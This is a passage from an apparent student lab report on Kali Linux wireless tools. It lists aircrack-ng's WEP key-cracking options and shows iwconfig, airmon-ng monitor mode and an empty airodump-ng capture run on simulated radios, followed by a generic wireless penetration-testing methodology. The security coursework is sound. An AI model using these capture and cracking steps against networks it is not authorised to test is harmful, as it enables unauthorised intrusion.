      -t         : search binary coded decimal chr only
      -h         : search the numeric key for Fritz!BOX
      -d <mask>  : use masking of the key (A1:XX:CF:YY)
      -m <maddr> : MAC address to filter usable packets
      -n <nbits> : WEP key length :  64/128/152/256/512
      -i <index> : WEP key index (1 to 4), default: any
      -f <fudge> : bruteforce fudge factor,  default: 2
      -k <korek> : disable one attack method  (1 to 17)
      -x or -x0  : disable bruteforce for last keybytes
      -x1        : last keybyte bruteforcing  (default)
      -x2        : enable last  2 keybytes bruteforcing
      -X         : disable  bruteforce   multithreading
      -y         : experimental  single bruteforce mode
      -K         : use only old KoreK attacks (pre-PTW)
      -s         : show the key in ASCII while cracking
```

ii) Identify the Wireless Network Interface:

```
┌──(keyur㉿kali)-[~]
└─$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.
```

iii) Using iwconfig command in root terminal.

```
┌──(root㉿kali)-[/home/keyur/Downloads/Compact-Wireless-Kali-Linux-App/compat-wireless-2010-06-26-p]
└─# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

wlan1     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

hwsim0    no wireless extensions.
```

iii) Put the Wireless Interface into Monitor Mode:

```
┌──(root㉿kali)-[/home/keyur/Downloads/Compact-Wireless-Kali-Linux-App/compat-wireless-2010-06-26-p]
└─# airmon-ng start wlan0

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    557 NetworkManager
   1160 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)
phy1    wlan1           mac80211_hwsim  Software simulator of 802.11 radio(s) for mac80211
```

iv) Start Capturing Packets:

```
┌──(root㉿kali)-[/home/keyur/Downloads/Compact-Wireless-Kali-Linux-App/compat-wireless-2010-06-26-p]
└─# airodump-ng wlan0mon


 CH  6 ][ Elapsed: 6 s ][ 2024-02-16 02:49

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID


 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

Quitting...
```

2. **You are conducting a security assessment for an organization that relies heavily on wireless networks. Your goal is to identify potential vulnerabilities and weaknesses in their wireless infrastructure.**

Ans: Identify the Wireless Network Interface:

1. **Information Gathering:**

- ***Network Architecture:*** Understand the layout and components of the wireless network, including access points, controllers, switches, and security appliances.
- ***Security Policies and Procedures:*** Review existing policies regarding wireless access, password management, device security, and incident response.
- ***Equipment Details:*** Obtain information about wireless access point models, firmware versions, and configuration settings.

2. Vulnerability Scanning:

- ***Automated Tools:*** Utilize specialized tools to scan for known vulnerabilities in access points, firmware, and network configurations.
- ***Manual Testing***: Conduct manual tests to identify misconfigurations, weak encryption protocols, and open ports on access points.

3. Penetration Testing:

- ***Simulate real-world attacks***: Employ techniques like password cracking, rogue access point deployment, and denial-of-service attacks to assess the network's resilience.
- ***Test for specific vulnerabilities:*** Focus on weaknesses identified during the scanning stage for deeper analysis and exploitation attempts.

4. Wireless Traffic Analysis:

- ***Capture and analyze wireless traffic:*** Look for unencrypted data, suspicious activity, and potential malware infections.
- ***Identify unauthorized devices:*** Detect unauthorized access points and connected devices that might pose security risks.

Outcomes:

CO1: Realize that premise of vulnerability analysis and penetration testing(VAPT)

Conclusion: (Conclusion to be based on the objectives and outcomes achieved)

Explored various Kali-Linux core tools.

Signature of faculty in charge with date

References:

1. https://www.guru99.com/kali-linux-tutorial.html
2. https://phoenixts.com/blog/learn-to-pen-test-with-kali-linux/
3. https://www.kali.org/docs/introduction/should-i-use-kali-linux/